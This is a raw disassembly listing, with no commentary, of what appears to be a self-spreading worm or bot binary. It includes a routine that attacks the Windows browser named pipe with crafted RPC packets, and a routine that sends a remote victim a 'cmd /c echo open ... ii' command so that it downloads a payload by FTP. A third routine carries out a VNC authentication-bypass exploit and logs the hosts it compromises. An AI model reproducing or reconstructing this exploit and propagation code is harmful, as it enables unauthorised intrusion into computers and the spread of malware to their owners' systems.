		db 0E1h	; 
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0B4h	; 
		db 0DBh	; 
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db 0A7h	; 
		db 0F7h	; 
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; 
		db  85h	; 
		db 0C0h	; 
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  3Ch	; <
		db  29h	; )
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db 0A5h	; 
		db 0DFh	; 
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; 
		db 0A6h	; 
		db 0DBh	; 
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  89h	; 
		db  85h	; 
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; 
		db    8
		db 0D8h	; 
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db  43h	; C
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA14:				; CODE XREF: ___:0040DA0Dj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 27009E9h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA58


loc_40DA51:				; CODE XREF: ___:0040DB30j
					; ___:0040DD06j ...
		xor	al, al
		jmp	loc_40DE9C
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: ___:0040DA4Fj
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432914
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432900
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DB35


loc_40DB27:				; CODE XREF: ___:0040DC01j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2660868h
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DB35:				; CODE XREF: ___:0040DB25j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4328A8[esi], bl
		jz	short loc_40DBAC
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CE37C
		jmp	short loc_40DBBF
; ---------------------------------------------------------------------------


loc_40DBAC:				; CODE XREF: ___:0040DB98j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4328F7+1)


loc_40DBBF:				; CODE XREF: ___:0040DBAAj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_43289C[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB27
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4328A4[esi]
		push	7
		add	eax, edi
		push	offset dword_432890
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432730
		push	eax
		call	sub_41C310
		mov	eax, dword_4328A0[esi]
		add	esp, 30h
		cmp	byte_4328A8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB8
		push	4
		add	eax, edi
		push	offset dword_4CE374
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4328C0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCE0
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: ___:0040DC69j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4328C0


loc_40DCC9:				; CODE XREF: ___:0040DCDEj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC9


loc_40DCE0:				; CODE XREF: ___:0040DCB6j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0B
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2660868h
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DD0B:				; CODE XREF: ___:0040DCF4j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276A4
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD78


loc_40DD70:				; CODE XREF: ___:0040DD73j
		inc	eax
		test	al, 3
		jnz	short loc_40DD70
		mov	[ebp+0Ch], eax


loc_40DD78:				; CODE XREF: ___:0040DD6Ej
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 26F07C5h
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE5:				; CODE XREF: ___:0040DE6Fj
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE7A
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE77
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE69
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40DE50
		nop
		call	near ptr 2680F9Dh
		cmp	eax, 3E5h
		jnz	loc_40DA51


loc_40DE50:				; CODE XREF: ___:0040DE3Dj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		call	near ptr 26906E2h
		nop
		cmp	eax, 102h
		jnz	short loc_40DE69
		mov	byte ptr [ebp+0Bh], 1


loc_40DE69:				; CODE XREF: ___:0040DE1Cj
					; ___:0040DE63j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE5
		jmp	short loc_40DE7A
; ---------------------------------------------------------------------------


loc_40DE77:				; CODE XREF: ___:0040DE17j
		mov	esi, [ebp-8]


loc_40DE7A:				; CODE XREF: ___:0040DDE9j
					; ___:0040DE75j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE96
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE96:				; CODE XREF: ___:0040DE8Fj
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9C:				; CODE XREF: ___:0040DA53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db  81h	; 
		db 0ECh	; 
		db 0A0h	; 
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; 
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db 0D5h	; 
		db 0D6h	; 
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; 
		db  45h	; E
		db 0F0h	; 
		db    2
		db    0
		db  50h	; P
		db 0E8h	; 
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db 0FFh
		db 0B5h	; 
		db 0C4h	; 
		db    0
		db    0
		db    0
		db  89h	; 
		db  45h	; E
		db 0F4h	; 
		db 0E8h	; 
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; 
		db  45h	; E
		db 0F2h	; 
		db 0E8h	; 
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; 
		db 0D8h	; 
		db  83h	; 
		db 0FBh	; 
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db 0E8h	; 
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; 
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; 
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db 0B8h	; 
		db  0Ch
		db  91h	; 
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  90h	; 
		db 0B3h	; 
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db 0DFh	; 
		db 0CCh	; 
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  48h	; H
		db  29h	; )
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; 
		db  37h	; 7
		db 0DAh	; 
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; 
		db  86h	; 
		db 0D0h	; 
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; 
		db  8Bh	; 
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; 
		db 0EBh	; 
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db 0E6h	; 
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; 
		db 0C3h	; 
		db 53h
		dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
		dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
		dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
		dd 7D0h, 2670E890h, 83430227h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE3	proc near		; CODE XREF: sub_40E0D1+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B1
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		push	dword_4CB390
		push	[ebp+arg_0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B5


loc_40E0B1:				; CODE XREF: sub_40DFE3+50j
					; sub_40DFE3+62j
		xor	eax, eax
		jmp	short loc_40E0CC
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40DFE3+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40E0CC:				; CODE XREF: sub_40DFE3+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D1	proc near		; CODE XREF: sub_40C125+1EAp
					; DATA XREF: ___:off_431B04o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB694
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E143
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E124
		push	esi
		jmp	short loc_40E13D
; ---------------------------------------------------------------------------


loc_40E124:				; CODE XREF: sub_40E0D1+4Ej
		push	0
		push	1213h
		push	offset dword_4329BC
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E147


loc_40E13D:				; CODE XREF: sub_40E0D1+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40E143:				; CODE XREF: sub_40E0D1+3Cj
		xor	eax, eax
		jmp	short loc_40E189
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E0D1+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE3
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E186
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40E186:				; CODE XREF: sub_40E0D1+9Ej
		push	1
		pop	eax


loc_40E189:				; CODE XREF: sub_40E0D1+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18D	proc near		; CODE XREF: ___:0040E27Bp
					; ___:0040E2DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E195:				; CODE XREF: sub_40E18D+2Dj
		test	edi, edi
		jle	short loc_40E1C0
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jz	short loc_40E1BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BC
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E195
; ---------------------------------------------------------------------------


loc_40E1BC:				; CODE XREF: sub_40E18D+22j
					; sub_40E18D+27j
		xor	eax, eax
		jmp	short loc_40E1C3
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40E18D+Aj
		push	1
		pop	eax


loc_40E1C3:				; CODE XREF: sub_40E18D+31j
		pop	edi
		pop	esi
		retn
sub_40E18D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C6	proc near		; CODE XREF: ___:0040E2C7p
					; ___:0040E2F4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E203
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FD


loc_40E1D6:				; CODE XREF: sub_40E1C6+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E203
		test	eax, eax
		jz	short loc_40E203
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D6


loc_40E1FD:				; CODE XREF: sub_40E1C6+Ej
		push	1
		pop	eax


loc_40E200:				; CODE XREF: sub_40E1C6+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40E1C6+8j
					; sub_40E1C6+2Bj ...
		xor	eax, eax
		jmp	short loc_40E200
sub_40E1C6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433C00
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E235
		push	eax
		jmp	short loc_40E269
; ---------------------------------------------------------------------------


loc_40E235:				; CODE XREF: ___:0040E230j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB654
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E274
		push	ebx


loc_40E269:				; CODE XREF: ___:0040E233j
		call	dword_4CB6EC
		jmp	loc_40E46F
; ---------------------------------------------------------------------------


loc_40E274:				; CODE XREF: ___:0040E266j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E468
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2C0
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E468


loc_40E2C0:				; CODE XREF: ___:0040E2B4j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E468
		push	1
		push	offset dword_4CB50C
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F8
		push	edi
		push	esi
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch


loc_40E3F8:				; CODE XREF: ___:0040E3EBj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A73
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431B08[eax]
		push	ebx
		lea	eax, dword_431B08[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E471
; ---------------------------------------------------------------------------


loc_40E468:				; CODE XREF: ___:0040E285j
					; ___:0040E2AAj ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46F:				; CODE XREF: ___:0040E26Fj
		xor	eax, eax


loc_40E471:				; CODE XREF: ___:0040E466j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47F:				; CODE XREF: ___:0040E49Bj
					; ___:0040E4B7j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE394
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_40E47F
